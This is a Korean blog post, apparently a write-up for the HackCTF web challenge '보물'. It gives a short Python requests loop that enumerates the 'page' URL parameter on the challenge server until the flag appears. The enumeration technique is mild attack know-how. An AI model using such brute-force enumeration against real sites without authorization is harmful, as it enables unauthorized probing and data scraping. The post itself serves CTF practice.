본문 바로가기

HackCTF 풀이/Web

HackCTF - Web - 보물 풀이

들어가니 왠 상자와 버튼 3개가 보이고 어딘가에 숨겨뒀다고 한다.

 

우선 아무 버튼이나 눌러보니 왠 랜덤한 해쉬로 보이는 값들이 나온다.

 

이걸 일일히 해볼순 없으니 파이썬 requests를 이용하여 간단하게 코드를 작성해 풀었다.

한번쓰고 더이상 안쓸코드라 대충 짰다.

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
URL = "http://ctf.j0n9hyun.xyz:2025/?page="
Init = "http://ctf.j0n9hyun.xyz:2025/?page="
count = 0
while 1:
    URL += str(count)
    response = requests.get(URL)
    if 'HackCTF{' in response.text:
        print(response.text)
        break
    else:
        count = count + 1
        URL = Init
cs

위의 코드를 동작시키니 플래그가 나왔다.

끄읕-

 

'HackCTF 풀이 > Web' 카테고리의 다른 글

HackCTF - Web - Login 풀이  (0) 2019.06.09
HackCTF - Web - Read File 풀이  (0) 2019.06.09
HackCTF - Web - 보물 풀이  (0) 2019.06.09
HackCTF - Web - Hash 풀이  (0) 2019.06.09
HackCTF - Web - Button 풀이  (0) 2019.06.09
HackCTF - Web - Hidden 풀이  (0) 2019.06.09